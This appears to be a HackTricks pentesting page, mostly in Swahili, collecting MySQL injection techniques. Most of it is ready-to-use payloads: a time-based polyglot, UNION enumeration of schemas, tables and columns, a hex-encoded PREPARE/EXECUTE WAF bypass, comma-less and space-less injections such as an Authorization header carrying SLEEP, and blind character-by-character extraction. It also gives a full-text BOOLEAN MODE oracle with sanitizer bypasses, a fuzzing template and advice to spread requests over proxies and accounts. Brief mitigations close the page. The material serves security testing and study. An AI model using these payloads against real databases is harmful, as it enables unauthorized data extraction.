11 KiB
MySQL injection
{{#include ../../../banners/hacktricks-training.md}}
Maoni
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Funsi Zinazovutia
Thibitisha Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Kazi muhimu
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Zote injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
kutoka https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Mtiririko
Kumbuka kwamba katika matoleo "ya kisasa" ya MySQL unaweza kubadilisha "information_schema.tables" kwa "mysql.innodb_table_stats" (Hii inaweza kuwa muhimu kuepuka WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Thamani 1 tu
group_concat()
Limit X,1
Blind one by one
substr(version(),X,1)='r'
orsubstring(version(),X,1)=0x70
orascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...
RPAD(version(),1...lenght(version()),'1')='asd'...
SELECT RIGHT(version(),1...lenght(version()))='asd'...
SELECT LEFT(version(),1...lenght(version()))='asd'...
SELECT INSTR('foobarbar', 'fo...')=1
Tambua idadi ya safu
Kutumia ORDER rahisi
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Jifunze hapa chaguzi tofauti za abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Kutekeleza queries kupitia Prepared Statements
Ikiwa stacked queries zimeruhusiwa, inawezekana kuepuka WAFs kwa kuweka kwenye variable uwakilishi wa hex wa query unayotaka kutekeleza (kwa kutumia SET), na kisha kutumia PREPARE na EXECUTE MySQL statements ili hatimaye kutekeleza query. Kitu kama hiki:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Kwa taarifa zaidi tafadhali rejea this blog post.
Mbadala za information_schema
Kumbuka kwamba katika matoleo "modern" ya MySQL unaweza kutumia mysql.innodb_table_stats, sys.x$schema_flattened_keys au sys.schema_table_statistics badala ya information_schema.tables
MySQLinjection bila koma
Chagua safu 2 bila kutumia koma yoyote (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Kupata thamani bila jina la safu
Ikiwa wakati fulani unajua jina la jedwali lakini hujui majina ya safu ndani ya jedwali, unaweza kujaribu kugundua ni safu ngapi zipo kwa kutekeleza kitu kama:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Kwa dhana kuna kolamu 2 (kolamu ya kwanza ndiyo ID) na nyingine ni flag, unaweza kujaribu bruteforce yaliyomo ya flag kwa kujaribu kila herufi kwa herufi:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Maelezo zaidi katika https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/
comment trick)
Baadhi ya programu husafisha au kuchambua pembejeo za mtumiaji kwa kutumia functions kama sscanf("%128s", buf)
ambazo huacha kwenye tabia ya nafasi ya kwanza.
Kwa sababu MySQL inachukulia mfululizo /**/
kama comment na kama whitespace, inaweza kutumika kuondoa kabisa normal spaces kutoka kwa payload huku ikihifadhi query kuwa syntactically valid.
Mfano wa time-based blind injection unaokwepa space filter:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Ambayo database hupokea kama:
' OR SLEEP(5)-- -'
Hii ni muhimu hasa wakati:
- Buffer inayoweza kudhibitiwa ina kikomo cha ukubwa (kwa mfano
%128s
) na nafasi zinaweza kumaliza ingizo mapema. - Ku-inject kupitia HTTP headers au maeneo mengine ambapo nafasi za kawaida zinaondolewa au zinatumiwa kama watenganishaji.
- Imeunganishwa na
INTO OUTFILE
primitives ili kupata RCE kamili kabla ya uthibitisho (tazama sehemu ya MySQL File RCE).
Historia ya MySQL
Unaweza kuona utekelezaji mwingine ndani ya MySQL ukisoma jedwali: sys.x$statement_analysis
Toleo mbadalas
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Hii sio SQL injection ya kawaida. Wakati developers wanapotuma input ya mtumiaji ndani ya MATCH(col) AGAINST('...' IN BOOLEAN MODE)
, MySQL inatekeleza seti tajiri ya Boolean search operators ndani ya string iliyoko ndani ya nukuu. Miongozo mingi ya WAF/SAST inalenga tu kuvunja nukuu na kupuuza uso huu.
Key points:
- Operators zinatathminiwa ndani ya nukuu:
+
(lazima ijumlishwe),-
(haipaswi kujumuishwa),*
(trailing wildcard),"..."
(exact phrase),()
(grouping),<
/>
/~
(weights). Angalia MySQL docs. - Hii inaruhusu vipimo vya uwepo/ukosefu na vipimo vya prefix bila kutoka kwenye string literal, kwa mfano
AGAINST('+admin*' IN BOOLEAN MODE)
ili kuangalia kama kuna term yoyote inaanza naadmin
. - Inafaa kujenga oracles kama “je, row yoyote ina term yenye prefix X?” na kuorodhesha strings zilizofichwa kupitia prefix expansion.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Ikiwa application inarudisha majibu tofauti kulingana na kama seti ya matokeo iko tupu (kwa mfano, redirect dhidi ya error message), tabia hiyo inakuwa Boolean oracle ambayo inaweza kutumika kuorodhesha data za kibinafsi kama vichwa vilivyofichwa/ vilivyofutwa.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: ikiwa backend inapunguza herufi 1–2 mwishoni kwa kila neno kwa kutumia regex kama
(\b.{1,2})(\s)|(\b.{1,2}$)
, tumaprefix*ZZ
. Msafishaji huondoaZZ
lakini huacha*
, kwa hivyoprefix*
inabaki. - Early-break stripping: ikiwa code inaondoa operators kwa kila neno lakini inasimama kusindika inapokutana na token yoyote yenye urefu ≥ min length, tuma token mbili: ya kwanza ni token ya taka inayokidhi kizingiti cha urefu, ya pili inaabeba operator payload. Kwa mfano:
&&&&& +jack*ZZ
→ baada ya kusafishwa:+&&&&& +jack*
.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26
ni&
,%2B
ni+
. The trailingxD
(au herufi mbili yoyote) inakatwa na cleaner, ikihifadhi{FUZZ}*
.- Tendea redirect kama “match” na ukurasa wa error kama “no match”. Usifuate redirects kiotomatiki ili oracle ibaki ionekane.
Enumeration workflow:
- Anza na
{FUZZ} = a…z,0…9
ili kupata mechi za herufi ya kwanza kupitia+a*
,+b*
, … - Kwa kila prefix chanya, gawia:
a* → aa* / ab* / …
. Rudia hadi upate mnyororo mzima. - Sambaza requests (proxies, akaunti nyingi) ikiwa app inatekeleza flood control.
Why titles often leak while contents don’t:
- Baadhi ya apps hufanya ukaguzi wa visibility tu baada ya MATCH ya awali kwenye titles/subjects. Ikiwa control-flow inategemea matokeo ya “any results?” kabla ya kuchuja, existence leaks hutokea.
Mitigations:
- Ikiwa hautahitaji Boolean logic, tumia
IN NATURAL LANGUAGE MODE
au tibu user input kama literal (escape/quote inazuia operators katika mode nyingine). - Ikiwa Boolean mode inahitajika, ondoa au nyamaza operators zote za Boolean (
+ - * " ( ) < > ~
) kwa kila token (hakuna kuvunjwa mapema) baada ya tokenization. - Weka visibility/authorization filters kabla ya MATCH, au panga majibu yafanane (muda/status thabiti) wakati result set ni empty vs. non-empty.
- Kagua vipengele vinavyofanana katika DBMS nyingine: PostgreSQL
to_tsquery
/websearch_to_tsquery
, SQL Server/Oracle/Db2CONTAINS
pia huchanganua operators ndani ya quoted arguments.
Notes:
- Prepared statements hazilindi dhidi ya semantic abuse ya
REGEXP
au search operators. Ingizo kama.*
bado ni permissive regex hata ndani ya quotedREGEXP '.*'
. Tumia allow-lists au guard wazi.
Other MYSQL injection guides
References
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
{{#include ../../../banners/hacktricks-training.md}}